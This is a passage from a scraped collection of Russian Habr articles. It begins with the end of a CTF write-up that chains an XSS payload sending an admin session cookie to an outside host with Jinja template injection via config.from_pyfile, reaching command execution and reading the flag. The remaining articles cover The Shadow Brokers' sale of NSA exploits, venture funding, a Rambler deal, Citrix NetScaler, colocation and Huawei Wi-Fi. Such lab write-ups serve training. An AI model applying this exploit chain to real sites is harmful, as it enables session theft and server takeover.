Формируем payload: web1000.ctf/?search="<SCRIPT/SRC="/uploads/хss7.swf"></SCRIPT><p> Получаем куки. GET /?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Referer: http://10.1.2.20:8081/?search=%22%3CSCRIPT/SRC=%22/uploads/xss7.swf%22%3E%3C/SCRIPT%3E%3Cp%3E
Origin: http://10.1.2.20:8081
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,en,*
Host: 8.8.8.8:1234 Заходим, но, похоже, этого недостаточно. Смотрим сессию: явно base64 . Декодим: eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9
{"secret": "9b4602d9a524902756a70b8949adcb1f", "user": "admin"} Зачем здесь имя пользователя? Меняем сессию. Имя пользователя на странице меняется. После долгих размышлений и попыток пробуем {{ 2+2 }} . Получаем 4. Похоже на инъекцию в шаблон. Способы эксплуатации отлично описаны здесь . Пробуем все подряд. Выясняется, что от magic_methods c underscore , питону становиться плохо. Но есть прекрасный способ эксплуатации через from_pyfile . Заливать файлы, похожие на код мы научились в первой части задания. Нам нужен такой payload : from subprocess import check_output
RUNCMD = check_output Загружаем такой файл на сервер как swf : Подгружаем его, используя сессию: {
"secret": "9b4602d9a524902756a70b8949adcb1f",
"user": "{{ config.from_pyfile('uploads/12.swf') }}"
} Теперь мы можем исполнять любые команды на сервере.
Проверяем config.items() Теперь осталось найти флаг: {
"secret": "9b4602d9a524902756a70b8949adcb1f",
"user": "{{ config['RUNCMD']('ls', shell=True)}}"
} Получаем ответ: admin_blueprint.py
admin_blueprint.pyc
application.py
application.pyc
flag.tхt
ghostdriver.log
requirements.tхt
static
task.py
templates
uploads
worker.py
worker.pyc Все. осталось сделать cat flag.tхt Готово! Ответ: ctfzone{3245c702f66816ca086a730c6baa5e16} Теперь вам известно почти все. Оставайтесь с нами, и очень скоро мы раскроем вам последнюю тайну о расследованиях в открытых источниках. А пока, обсудить новый райтап и задать пару вопросов можно в нашем чате в телеграме и в комментариях к посту. Напоминаем, что у вас еще есть время, чтобы попробовать свои силы в заданиях по хайрингу вот тут , они будут доступны до 15.12. Желаем удачи! | https://habrahabr.ru/company/bizone/blog/317422/ |
habrahabr | Инструменты АНБ теперь продаются поштучно | ['АНБ', 'эксплойты', 'The Shadow Brokers', 'варез'] |
Один из эксплойтов АНБ позволяет извлекать ключи шифрования и пароли VPN из устройств Cisco. Скриншот: Максим Зайцев
Группа The Shadow Brokers получила известность в августе 2016 года, когда... | Один из эксплойтов АНБ позволяет извлекать ключи шифрования и пароли VPN из устройств Cisco. Скриншот : Максим Зайцев
Группа The Shadow Brokers получила известность в августе 2016 года, когда выложила на всеобщее обозрение набор эксплойтов и других инструментов АНБ. Представители The Shadow Brokers объяснили, что изучили отчёт хакерского отдела GReAT (Global Research & Analysis Team) «Лаборатории Касперского», посвящённый деятельности подразделения по разработке разведывательного кибероружия Equation Group, которое стоит за такими сложнейшими образцами зловредов, как Stuxnet, Duqu, Flame. Российские специалисты провели анализ исходного кода и нашли доказательства того, что все эти программы для промышленного саботажа и разведывательных операций написаны одной группой программистов или несколькими группами, которые сотрудничали между собой.
Но хакеры из «Лаборатории Касперского» не могли нарушить закон и взломать противника. По крайней мере, они не могли сделать это открыто и от своего имени, поскольку такие действия нарушают ряд законов и международных соглашений.
Всё это сделала анонимная группа The Shadow Brokers. Она отследили трафик Equation Group и выяснила, что деятельность Equation Group координирует, вероятно, Агентство национальной безопасности США.
Как и в случае с «российским следом» во взломе почтовых ящиков американских политиков, юридически нет доказательств их причастности. Грубо говоря, в этих эксплойтах нет цифровой подписи АНБ. То есть формально мы не можем прямо обвинять АНБ, но специалистам совершенно понятно, что никто другой не имеет столько ресурсов, чтобы создать настолько продвинутые инструменты и получить в своё распоряжение ряд 0day-уязвимостей, о которых больше никому не известно. Просто методом исключения — кроме АНБ это никто не может быть.
После той публикации Cisco и другие компании поспешили закрыть 0day-уязвимости , о которых теперь стало известно всем. Скриншоты архива с файлами, стянутыми у АНБ
«Лаборатория Касперского» оперативно подготовила отчёт с доказательствами , что эти эксплойты определённо связаны с другими инструментами Equation Group (Stuxnet и прочие).
Взломать АНБ — это, конечно, величайшее достижение. Фактически, это верх хакерского мастерства. После такого можно всю жизнь почивать на лаврах, рассказывая детям и внукам о своих подвигах. Ну и получить государственную награду, конечно же, пусть и формально по другому поводу.
После аукциона-краудфандинга о The Shadow Brokers ничего не было слышно. Казалось, ребята сделали своё дело и ушли. Вероятно, аукцион-краудфандинг на эксплойты был просто прикрытием, как тот румынский хакер Guccifer, который взял на себя ответственность за взлом почтовых ящиков американских политиков. Так же профессиональные киллеры инсценируют ограбление квартиры, чтобы не выдать истинные мотивы заказного убийства. Итак, собрав пару биткоинов , в октябре The Shadow Brokers исчезли из поля видимости и прекратили общение в онлайне.
Но 13 декабря назад некто под именем Boceffus Cleetus опубликовал сообщение на блог-платформе Medium о том, что эксплойты по-прежнему в продаже. Этот человек с аватаркой из флага США со свастиками вместо звёзд признаётся в любви к фашизму, называет себя не специалистом по безопасности, а «энтузиастом ZeroNet». Он говорит, что случайно обнаружил в анонимной децентрализованной сети ZeroNet сайт, где по-прежнему продаются эксплойты АНБ.
ZeroNet — распределённая сеть, которая не зависит от централизованного хостинга. На вашем устройстве запускается Python сервер, который соединяется с такими же пользователем, как и вы, и слушает порт 43110 на 127.0.0.1, куда вы должны зайти своим браузером. «Под капотом» же используются технологии Bittorrent, Bitcoin и DHT. Как работает ZeroNet, как подключаться к сайтам и публиковать свой контент в распределённой сети — см. в статье на Хабре .
Итак, некий Boceffus Cleetus назвал адрес сайта theshadowbrokers.bit (ссылка через zero-прокси), на котором по-прежнему выставлены на продажу эксплойты АНБ. На этот раз они продаются не целым пакетом, а по отдельности.
На сайте опубликовано объяснение от имени группы The Shadow Brokers. Они пишут, что попробовали краудфандинг, но народ не проявил особой активности. Поэтому сейчас будут продавать эксплойты напрямую.
В каталоге на сайте перечислены все товары, с пометками «закладка» (имплант), «троян» или «эксплойт». Стоимость варьируется от 1 до 100 биткоинов. Весь пакет можно купить со скидкой за 1000 BTC (примерно $770 000).
Чтобы совершить покупку, нужно отправить сообщение с названием вареза для покупки. В ответ напишут биткоин-адрес, на который следует перечислить деньги. После совершения транзакции The Shadow Brokers присылает ссылку для скачивания файла и пароль для расшифровки архива.
На сайте опубликованы скриншоты всех файлов из архива с эксплойтами АНБ. Файл со скриншотами подписан реальной подписью The Shadow Brokers от того же ключа PGP, который они использовали и раньше. Все файлы при отправке они тоже обещают подписывать своей подписью.
Контактная информация для отправки сообщений с указанием желаемого вареза и кошелёк указаны следующие:
ZeroMail: theshadowbrokers@zeroid.bit
BitMessage: BM-NBvAHfp5Y6wBykgbirVLndZtEFCYGht8
Bitcoin: 19BY2XCgbDe6WtTVbTyzM9eR3LYr6VitWK
Пока непонятно, что всё это значит, но пользователь Boceffus Cleetus призывает «донатить» на «Новую Американскую Империю» на его биткоин-кошелёк. | https://geektimes.ru/post/283738/ |
habrahabr | Почему выросла активность венчурных фондов России | ['венчурные фонды', 'инвестиции в стартапы', 'исследования в ит', 'ит-бизнес', 'российский рынок', 'российские стартапы'] |
Согласно новому исследованию аналитиков Firrma за период с декабря 2015 года по декабрь 2016, российский рынок венчурных инвестиций показал существенный рост активности. Исследование... |
Согласно новому исследованию аналитиков Firrma за период с декабря 2015 года по декабрь 2016, российский рынок венчурных инвестиций показал существенный рост активности. Исследование проводилось при поддержке Российской венчурной компании ( РВК ) и британской консалтинговой фирмы EY (Ernst & Young).
Российские венчурные фонды совершили 390 сделок. В прошлом году исследователи насчитали только 313 сделок. Таким образом, их количество выросло на 24,6%. Однако в 2014 году сделок было существенно больше — свыше 450.
Что касается классических фондов, они вели себя в этом году инертно , делает вывод издание Firrma. Многие из них уже закончили активную фазу инвестиций и теперь привлекают средства во вторые фонды.
Большая часть сделок в 2016 году пришлась на «посевную» стадию, а самым активным инвестором стал Фонд развития интернет-инициатив, вложивший $19,2 миллиона в 91 проект. При этом первая пятерка классических фондов заключила за год в общей сложности 70 сделок, их сумма превысила $160 миллионов.
Президент фонда Sistema Venture Capital Алексей Катков подтверждает, что все больше инвестиционных сделок проходят на ранней стадии проектов. Правда, он объясняет тренд не дефицитом денег на рынке, а высокой конкуренцией за перспективные технологии, пишет РБК. Новые технологические тренды – искусственный интеллект и машинное обучение, виртуальная и дополненная реальность, нейронные сети и телемедицина – стали выявляться гораздо чаще. Подавляющее большинство проектов в данных областях находятся на стадии «посева».
За счет этого количество сделок на более поздних стадиях увеличится, прогнозирует управляющий инвестиционным портфелем ФРИИ Сергей Негодяев. Глобализация
Российские фонды стали активнее вкладываться в зарубежные компании, а общее количество их сделок с отечественными стартапами, наоборот, снизилось за год примерно на 20%.
Партнер венчурного фонда Flint Capital Андрей Гершфельд объясняет это более стабильной экономической ситуацией за границей и более высокими шансами найти покупателей на международном рынке.
Иностранцы, в свою очередь, стали охотнее выходить на российский венчурный рынок. Если в 2014 году только пять иностранных фондов вложились в стартапы из России, то в 2015-м — уже 13, а в 2016-м — 17. В общей сложности в 2016 году они провели 32 инвестиции, что в два с лишним раза больше, чем в прошлом году. | https://habrahabr.ru/post/317696/ |
habrahabr | Мамут выкупит у Потанина его долю в Rambler&Co за $295 млн | ['бизнес', 'активы', 'rambler', 'медиа-бизнес', 'финансы', 'сделка'] |
Бизнесмен Александр Мамут вынужден выкупить у своего партнера Владимира Потанина его долю в Rambler&Co за $295 млн, сообщают «Ведомости». Закрыть сделку планируется до конца этого года, после... |
Бизнесмен Александр Мамут вынужден выкупить у своего партнера Владимира Потанина его долю в Rambler&Co за $295 млн, сообщают «Ведомости» . Закрыть сделку планируется до конца этого года, после чего Мамут станет единоличным владельцем Rambler&Co, в котором сейчас имеет половину, но за часть партнера ему придется заплатить почти вдвое дороже, чем предусматривалось изначально.
Сделка проистекает из слияния медийных активов Мамута и Потанина еще в 2013 году. По его условиям Потанин получил право через 2,5 года продать свою долю Мамуту за фиксированную сумму в $295 млн, чем он сейчас и воспользовался.
После ослабления рубля стоимость активов Потанина выросла с 9,7 млрд до 19,1 млрд в пересчете на национальную валюту. Сделка будет совершена по условиям 2013 года, никаких оговорок на девальвацию рубля тогда предусмотрено не было. С учетом того, что основной доход компании Мамута получают в российских рублях (в том числе и Rambler&Co), сделка для него не вполне выгодна.
Потанин начал распродажу своих медийных активов еще несколько лет назад, когда разочаровался в этом рынке и его перспективах. При этом Мамут, став управляющим партнером после слияния активов, сумел наладить эффективную работу внутри организации.
Rambler&Co является закрытой структурой и не предоставляет финансовой отчетности, но несколько собеседников «Ведомостей» утверждают, что с момента прихода Мамута компания не только перестала быть убыточной, но и удвоила свой доход в этом году по отношению к предыдущему. При этом именно Мамут играет огромную роль в формировании выручки компании, так как для получения рекламных бюджетов использует личные связи и собственный авторитет.
После продажи Rambler&Co у Потанина в медиа-сегменте останется только доля в онлайн-кинотеатре Ivi.ru. | https://geektimes.ru/post/283740/ |
habrahabr | Вокруг Citrix NetScaler ADC – Часть 2. Citrix и Microsoft | ['citrix', 'microsoft', 'netscaler'] | Citrix уже давно сотрудничает с Microsoft по ряду направлений. Одним из таких направлений является использование контроллера доставки приложений Netscaler ADC для балансировки и оптимизации решений... | Citrix уже давно сотрудничает с Microsoft по ряду направлений. Одним из таких направлений является использование контроллера доставки приложений Netscaler ADC для балансировки и оптимизации решений Microsoft, активно использующих веб-технологии, таких как Skype for Business (Lync), Exchange, SQL Server и SharePoint.
Ранее Microsoft для обеспечения отказоустойчивости рекомендовала использовать технологию NLB, но в связи с рядом ограничений этой технологии компания добавила в свои рекомендуемые архитектуры контроллеры доставки приложений сторонних производителей, в том числе Citrix NetScaler.
Каждое решение Microsoft требует своего подхода. Citrix NetScaler способен обеспечить отказоустойчивость и безопасность практически всех продуктов Microsoft. Давайте посмотрим, какие технологии в рамках Citrix NetScaler могут быть использованы для некоторых продуктов. Следует отметить, что это описание возможностей не самое полное и призвано рассказать лишь об основных особенностях. Функциональность может быть использована в различных сочетаниях. Балансировка Microsoft Sharepoint
В данном случае NetScaler будет обеспечивать балансировку серверов Sharepoint. Web Application Firewall защитит корпоративный портал от специфичных веб-атак и утечки корпоративной информации. Разгрузка SSL операций значительно снизит нагрузку на серверную инфраструктуру. Front End Optimization и кэширование сможет значительно ускорить доставку контента до пользователя (особенно это будет заметно в мобильных сетях). Microsoft Exchange
Предлагается использовать балансировку нагрузки между разными серверами и SSL Offload, при этом можно будет задействовать распределение трафика в зависимости от типа запроса (L7 Content Switching), которое позволит перераспределять трафик на CAS серверы с различными ролями. Предварительная аутентификация на NetScaler, позволит защититься от атак типа Brute force (у NetScaler есть встроенные механизмы защиты), а также использовать многофакторную аутентификацию для доступа к Exchange.
NetScaler привносит дополнительную функциональность в работу с Skype for Business, Office 365, Direct Access и заменить продукт TMG, завершивший свой жизненный цикл.
Для правильной настройки Citrix NetScaler для инфраструктуры продуктов Microsoft рекомендуется ознакомиться с соответствующими руководствами по внедрению, в которых подробно описана интеграция NetScaler c этими и многими другими продуктами. Эти документы доступны на официальном сайте компании Citrix.
Кроме того, существуют шаблоны настройки, которые могут значительно ускорить внедрение этих продуктов. Оптимизация трафика
Надо сказать, что это не единственный способ, которым Citrix может улучшить работу приложений Microsoft. Например Citrix XenDesktop содержит компонент RealTime Optimization Pack, который позволяет Microsoft Skype for Business (Lync) нормально работать в виртуальной среде. Без этой поддержки клиент Lync будет передавать аудио- и видеотрафик через Microsoft Lync Server. RealTime Optimization Pack позволяет двум клиентам обмениваться голосом и видео в режиме «точка-точка» в рамках локальной сети, отправляя в центр обработки данных только информацию по управлению сессиями. На текущий момент это единственный способ улучшения работы Microsoft Lync в виртуальной среде, который к тому же официально поддерживается Microsoft. Виртуализация
Другим направлением совместной работы Microsoft и компании Citrix является виртуализация десктопов и приложений. В свое время компания Citrix разрабатывала терминальные службы для операционной системы Microsoft OS/2, затем для Microsoft Windows NT. С тех пор Citrix совместно работает с Microsoft, постоянно добавляя новые возможности к решениям для виртуализации и поддержки работы в терминальном режиме, которые есть у Microsoft. Последние результаты этого сотрудничества — Microsoft отказывается от собственного облачного решения Azure RemoteApp, которое предоставляло функции локальной программы Microsoft RemoteApp на основе служб удаленных рабочих столов в Azure, и рекомендует заказчикам использовать решение для удаленных рабочих столов Citrix XenDesktop. Кроме того, лицензионная политика Microsoft (SPLA) фактически запрещает «отдавать» клиентскую ОС из облака, и позволяет использовать на удаленных пользовательских местах только рабочий стол сервера. И единственным способ предоставления клиентского десктопа из облачной инфраструктуры, о поддержке которого объявила компания Microsoft, будет работа с виртуальной машиной Windows 10, которая должна быть развёрнута в облаке Microsoft Azure и доставляться с помощью Citrix XenDesktop. Мобильность
Третье направление совместной работы Citrix и Microsoft связано с управлением мобильными приложениями. Инфраструктура Citrix XenMobile позволяет «завернуть» корпоративное приложение для мобильного устройства в так называемый контейнер безопасности, запрещая соответствующими политиками такие действия, как использование видеокамеры, внешних ссылок, буфера обмена и т.п. Таким образом на мобильном устройстве устанавливается разграничение между личными и корпоративными приложениями.
На самом деле Citrix XenMobile, конечно, работает не только с Microsoft. В списке поддержки мобильных приложений различных производителей в инфраструктуре Citrix XenMobile — десятки программ, в том числе такие популярные, как Adobe Reader для Android, Exact CRM для Android и iOS, IBM Connections Android и iOS, MindLink для iOS, Microsoft Office 365, Microsoft SharePoint Mobile Client и многие другие. Облачное хранилище
Наконец, Citrix даёт возможность использовать Microsoft Azure для работы решения Citrix ShareFile. Это корпоративное «облачное хранилище», которое отличается от таких решений, как Dropbox или Яндекс-диск тем, что он работает с корпоративным каталогом и позволяет установить политики, такие как время жизни ссылки на файловый ресурс, число загрузок, права на загрузку, пароль доступа и т.п. Компании могут строить различные гибридные схемы использования ShareFile, использующие не только облачную инфраструктуру, но и локальные хранилища, развёрнутые в ЦОДе заказчика. Также Citrix ShareFile позволяет реплицировать данные между различными устройствами, принадлежащими пользователю: рабочим компьютером, ноутбуком, домашним ПК и т.д. Кроме Microsoft Azure решение поддерживает также Amazon Web Services и может подключать к общему списку ресурсов локальные установки Microsoft SharePoint, сетевые каталоги и облачные документы Office365. Для повышения уровня безопасности Citrix добавила функционал IRM и поддержку DLP с помощью протокола ICAP.
* * *
Из вышесказанного легко сделать вывод, что Citrix как разработчик мог бы значительно расширить функциональность своих решений, дублируя возможности, которые предоставляют другие производители, такие как Cisco и Microsoft.
И легко понять, почему она этого не делает. Например, компания Citrix не заинтересована в том, чтобы расширять функциональность Netscaler ADC до полноценного брандмауэра — вместо того, чтобы вступать в полномасштабную конкуренцию на рынке брандмауэров, проще интегрироваться с его лидером. Вот почему Cisco рекомендует Citrix Netscaler ADC, как лучший балансировщик для Cisco ACI, а Microsoft — для сетевой платформы Microsoft. Скажем без ложной скромности — так оно и есть. | https://habrahabr.ru/post/317686/ |
habrahabr | Co-location: дата-центры vs малый и средний бизнес? | ['collocation', 'колокация', 'коллокация'] |
В IT-сообществе давно ходят разговоры о скорой кончине локальных серверных и наступлении светлого тоталитарного будущего облачных технологий. Почему появились такие умонастроения? Потому что... |
В IT-сообществе давно ходят разговоры о скорой кончине локальных серверных и наступлении светлого тоталитарного будущего облачных технологий. Почему появились такие умонастроения? Потому что локальные центры обработки данных якобы застряли в прошлом и подходят только для крупных компаний с большим финансовым ресурсом, например, банков, которые вынуждены строить собственные ЦОДы на подконтрольной им территории в силу тех или иных требований к безопасности хранения и обработки данных.
Мы уже рассказывали , как своими руками сделать небольшую серверную комнату. Однако устраивать и содержать ее не всегда целесообразно, особенно если в офисе работает всего несколько человек и утилизация вычислительных ресурсов редко превышает треть от имеющихся мощностей. А что делать, если доступ к общим данным и сервисам должен осуществляться из разнесенных по городу или даже разным городам точек?
Одним из подходящих решений, которое позволяет совместить некоторые преимущества облачных технологий и собственной серверной, это колокация (от англ. co-location) — размещение собственного серверного и сетевого оборудования в дата-центре по прямому договору либо через провайдера хостинг-услуг.
Сегмент услуг колокации растёт год от года и не показывает признаков замедления. Из апрельского отчета компании 451 Research, которая ежегодно анализирует 4800 дата-центров, следует, что рынок колокации будет стоить 33,2 миллиарда долларов в 2018 году. В первом квартале прошлого года глобальный рынок колокации принес 27 миллиардов долларов. Большая часть прибыли — выручка местных провайдеров.
Так почему же услуга колокации так востребована в эпоху облачного хранения и обработки данных? Какие она дает преимущества для компаний, в особенности малых и средних? Откуда взялась колокация?
С задачей эффективного управления крупными массивами данных может справиться только серьезный дата-центр. Такая роскошь доступна лишь корпорациям и большим компаниям. Однако, у дата-центра нередко есть свободные ресурсы в виде незанятых полезных площадей, неиспользуемой электрической мощности и свободной пропускной способности каналов связи. С точки зрения бизнес-модели дата-центров — это неэффективное использование ресурсов, а решить эту проблему призвана как раз услуга колокации, которая заключается в сдаче в аренду одного стандартного места в стойке, так называемого юнита, либо целиком всей серверной стойки.
С другой стороны, потенциальными потребителями услуги колокации являются малые и средние предприятия, для которых определяющим фактором является возможность получить те же преимущества, которые ранее были доступны только крупным.
Услуга колокации позволяет малому и среднему бизнесу арендовать место для безопасного размещения своего оборудования, где оно будет обеспечено надежным электропитанием и охлаждением, а также хорошей пропускной способностью каналов связи по доступной цене. Это означает, что доступ к вашим сервисам будет обеспечен 24/7 за счет того, что дата-центр профессионально обеспечивает отказоустойчивость и бесперебойную работу всей инфраструктуры, от которой зависит работоспособность серверного и сетевого оборудования. По сути, это очень похоже на аутсорсинг персонала для обслуживания ИТ-инфраструктуры бизнеса.
Таким образом, вам не придется выделять ресурсы на оборудование своей серверной, вы будете застрахованы от потерь в результате простоев оборудования из-за сбоев электропитания и можете не беспокоится об охлаждении и безопасности оборудования. Кроме этого, вы можете взять в аренду ещё и высокоскоростной выделенный канал из пула ЦОД, если вам необходимо организовать надежную связь со своим сервером из разных городов, а также заказать как дополнительную услугу резервное копирование и восстановление своих данных силами специалистов дата-центра. В том случае, когда ваше оборудование вышло из строя и восстановить его работоспособность в разумные сроки не представляется возможным, дата-центр по предварительной договоренности может быстро восстановить вашу инфраструктуру и данные на своем оборудовании.
Все это дает малому и среднему бизнесу интересную альтернативу традиционному подходу в организации ИТ инфраструктуры, а дополнительным преимуществом такого решения является хорошая масштабируемость. Когда компании необходимо гибко реагировать на потребности рынка, она всегда может арендовать больше или меньше места в центре обработки данных, либо взять на время вычислительные мощности самого дата-центра. Выгодные возможности для обеих сторон
Несмотря на то, что многие средние и малые компании продолжают активно размещать серверы в офисах, спрос на место в дата-центре опережает предложение. Рынок колокации развивается, это обусловлено бурным развитием облачных технологий, развитием электронной торговли и интернета вещей и, как следствие, конкурентным снижением цен на эту услугу.
С другой стороны, далеко не у каждой компании есть желание, а порой и возможности строить собственную локальную серверную ферму, именно это обстоятельство делает колокацию такой прибыльной для дата-центров. Джон Хили, заместитель директора центра обработки данных Keysourse, говорит , что перевод инфраструктуры в дата-центры — простой и надежный способ для компаний выполнять свои задачи с данными и в то же время сэкономить деньги и время. Компромисс в части контроля над ИТ
Используя колокацию компании получают больший контроль над своими сервисами по сравнению с публичным облаком. В то же время, Эмма Фрайер, заместитель директора британского технологического подразделения TechUK, считает , что ключевые бизнес-процессы организаций все больше и больше зависят от поддержки критически важных ИТ-функций. Если серверная инфраструктура находится на своей территории, это может поставить под угрозу непрерывность бизнеса и добавить ненужных трат, особенно если оборудование находится в жарких, плохо спроектированных серверных помещениях и использует неподходящие каналы связи. Будущее колокации По мнению Саймана Фрэнсиса, главы компании Digital Reality, колокация будет играть все большую роль в ИТ-операциях бизнеса, поскольку цифровая инфраструктура и технологии по-прежнему имеют тенденцию становиться все более сложными, а затраты на самостоятельное развертывание, обслуживание и развитие будут только увеличиваться.
Конечно, колокация уступает в некоторых моментах облачным технологиям — последние просты в настройке и легче масштабируются. Кроме этого, размещенные в облаке сервисы и данные легче мигрировать между дата-центрами, чем оборудование, размещенное на условиях колокации.
В то же время ничто не мешает совместить оба подхода — размещая серверное и сетевое оборудование посредством колокации, компании могут поместить свое приватное или гибридное облако в непосредственной близости от вычислительных узлов провайдеров публичных облачных сервисов, что позволит организации максимально быстро подключаться к облакам своих партнеров и клиентов с помощью перекрестного соединения с крайне малыми временными задержками и без аренды дорогостоящих сетевых каналов.
Компании должны четко понимать, где им лучше разместить закрытую часть своего гибридного облака – на своей территории или в дата-центре. И действительно важно не только оценить текущие потребности в вычислительных мощностях, но и заранее позаботиться о достаточном запасе таковых на будущее. Если вы решили, что вам нужна на колокация
В заключение несколько советов, как выбирать услугу co-location в дата-центре. 1. Выбирайте центр обработки данных с хорошей транспортной инфраструктурой и безопасным расположением: Хорошо: Подземный центр в крупном городе. Плохо: Наземный центр, расположенный в ангаре посреди пустыни Сахара, до которого можно добраться только на верблюде. :) 2. Обратите внимание на уровень безопасности: Хорошо: Есть видеонаблюдение, биометрические замки, территория под охраной, ведется учет посещений, есть замки на серверных шкафах. Плохо: Есть один сторож на КПП с бумажным журналом учета посещений, открытые серверные стойки, по территории свободно ходят бомжи. :) 3. Узнайте, как работает техподдержка: Хорошо: Работает 24/7 без перерывов на обед, специалисты грамотные и доброжелательные. При внезапном выходе из строя оборудования клиента возможны экстренные замены комплектующих усилиями самого ДЦ. Плохо: Отвечает после долгого перерыва или не отвечает вообще, ответы несут минимум полезной информации или не содержат ее вообще. 4. Учитывайте известность клиентов: Хорошо: Услугами дата-центра пользуются крупные и известные компании, есть несколько площадок в разных городах. Плохо: Услугами пользуется только мелкие бюджетные организации, которым все равно где хранить данные, лишь бы дешевле. 5. Оцените условия хостера: Хорошо: Есть качественные системы охлаждения и вентиляции, бесперебойная подача электричества, автономное резервное электроснабжение на длительный период, стабильный и продублированный канал связи, защита от сетевых атак. Плохо: Если вам предлагают сырой подвал, где отсутствует план пожарной эвакуации, а на случай внезапного отключения основного источника питания предусмотрен только лишь ИБП или маломощный дизельный генератор.
Это основной, но далеко не полный список ключевых моментов, на которые следует обратить своё внимание прежде чем вы примете окончательное решение в вопросе выбора конкретного поставщика услуги co-location. Думаю, в комментариях нас дополнят.
А где вы размещаете серверное оборудование и почему? | https://habrahabr.ru/company/squadra-group/blog/317704/ |
habrahabr | У вас здесь есть Wi-Fi? | ['wi-fi', 'Central AP', 'RRU', 'Huawei'] |
«А пароль от Wi-Fi не подскажете?» – пожалуй, самый популярный вопрос в современных увеселительных заведениях: ресторанах, барах, кафе и т.д.
Да что там рестораны и бары – интернет окутал... |
«А пароль от Wi-Fi не подскажете?» – пожалуй, самый популярный вопрос в современных увеселительных заведениях: ресторанах, барах, кафе и т.д.
Да что там рестораны и бары – интернет окутал своими беспроводными сетями практически все: метро, театры, офисы, квартиры, аэропорты и вокзалы, промышленные предприятия, салоны красоты, библиотеки, тренажерные залы, магазины… Этот список можно продолжать бесконечно.
Главным же «виновником» происходящего является всем до боли известный протокол передачи данных, в народе именуемый Wi-Fi.
И все бы здорово – наука служит на благо человечества, но и здесь (впрочем, как всегда это бывает) имеются свои нюансы: прогресс диктует свои правила игры, и это отражается на всех сферах нашей деятельности и на рабочем процессе особенно. Проблематика
По оценкам аналитиков, уже в 2019 году объемы пользовательского трафика, передаваемого через сети Wi-Fi, превысят объемы, приходящиеся на проводные подключения. «Вымирание проводов» влияет и на привычки пользователей, что естественно: например, стационарные рабочие места уступают место мобильности сотрудников, а традиционный рабочий терминал (например, компьютер) практически безболезненно заменяется множественными smart-устройствами.
Происходящая деформация нашего пользовательского опыта выразилась в концепцию All-wireless-office. Появление этого термина говорит о том, что технологии Wi-Fi достигли такого уровня развития, который позволяет безболезненно как решать существующие задачи, так и поддерживать новые типы приложений и сервисов, например, BYOD, видео высокой четкости, виртуальные десктопы, передача голоса через Wi-Fi.
Очевидно, если доступ к корпоративной инфраструктуре посредством Wi-Fi становится приоритетным методом подключения, то на него будут накладываться и более жесткие требования по безопасности, качеству работы, гибкости и масштабированию. Теперь уже недостаточно заветной бумажки с паролем, разномастных автономных точек доступа и оправданий системного администратора вида: «Ну а что вы хотели от Wi-Fi?! Подключайтесь по кабелю».
Все это влечет за собой необходимость модернизации инфраструктуры WLAN и внедрения современных решений уровня Enterprise. Вот тут возникает первый сюрприз: для руководства практически любого предприятия или компании Wi-Fi просто работает чудесным образом с помощью «волшебной коробочки», которая стоит 3 тысячи рублей. И «это уму непостижимо», как точка доступа может стоить 30 и более тысяч рублей! А еще «вам, айтишникам» какой-то беспроводной контроллер подавай! Есть решение!
Поиск той самой «золотой середины» и является определяющим фактором в разработке наших решений Huawei Enterprise: максимум технологических возможностей при невысокой стоимости. И без ложной скромности можно заявить, что мы преуспеваем в данном вопросе . Однако порой и этого оказывается недостаточно: стоимость решений корпоративного уровня на порядки превышает стоимость потребительских реализаций. При этом на рынке присутствует ряд производителей, предлагающих бюджетные комплекты решений для предприятий сегмента SMB, с которыми трудно соревноваться.
Решение данной проблемы было найдено и воплощено в концепции Huawei Agile Distributed Wi-Fi: помимо существенной оптимизации стоимости оборудования данное решение обладает уникальными технологическими особенностями. С них и начнем. Немного техники
Архитектура решения незначительно отличается от традиционной controller-based реализации. Решение по-прежнему содержит 2 типа устройств: контроллеры БЛВС (AC) и непосредственно точки доступа (AP). Главное отличие состоит в том, что точки доступа теперь подразделяются на два вида: центральные точки доступа (Central AP) и выносные радиомодули (RRU – Remote Radio Unit):
RRU – упрощенные точки доступа (если хотите, light-lightweight AP или выносные радиомодули), которые не вовлечены в обработку трафика. Их основная задача: процессинг 802.11 фреймов, конвертация в 802.3 (и в обратном направлении из проводного Ethernet в беспроводной 802.11) и передача этого трафика по CAPWAP-туннелю до Central AP (опционально – с шифрованием DTLS). При этом каждый модуль RRU – независимый.
Central AP – корневая точка доступа, которая не имеет встроенных радиомодулей. Она отвечает за управление RRU, процессинг и форвардинг трафика RRU, обработку и обеспечение профилей QoS, фильтрацию и выполнение правил безопасности, ACL, IPS, идентификацию приложений. Плюс ко всему Central AP отвечает за ассоциацию пользовательских устройств и их роуминг между RRU. Взаимодействие с модулями RRU и беспроводным контроллером обеспечивается посредством CAPWAP-туннеля. Немаловажен и тот факт, что корневые точки доступа берут на себя часть функций беспроводного контроллера и тем самым существенно его разгружают.
Решение может быть трехуровневым (контроллер + Central AP + RRU) либо двухуровневым (Central AP + RRU):
В двухуровневой архитектуре (Central AP + RRU) центральная точка доступа будет выступать в качестве автономной (Fat AP), т.е. конфигурация беспроводных и радиочастотных параметров, правил и политик авторизации, DHCP и прочих сетевых сервисов будет происходить непосредственно на Central AP, контроллер БЛВС отсутствует. В автономном режиме работы мы также получаем возможность централизованного управления, поскольку модули RRU не потребуют индивидуальной конфигурации. Очевидно, что подобная архитектура применима в основном для небольших сценариев внедрения (уровень SOHO и SMB, но и здесь существует альтернатива, не требующая покупки дополнительного оборудования, в виде облачного контроллера Huawei).
На физическом уровне выносные радиомодули RRU могут быть подключены как непосредственно в Central AP напрямую по витой паре (расстояние – до 100 метров, питание PoE обеспечивается Central AP), так и через один или несколько коммутаторов. Обязательное условие для взаимодействия: Central AP и RRU должны находиться в едином широковещательном домене, т.е. между ними должна быть Layer-2 связность. Zero-touch roaming
Еще одна интересная техническая особенность заключается в реализации роуминга в пределах Central AP между RRU. Данный функционал получил наименование Zero-touch roaming (ZTR).
Zero-touch roaming говорит не о том, что роуминга вовсе нет, а о том, что пользовательские терминалы не определяют процесс роуминга, им не требуется производить какие-либо действия.
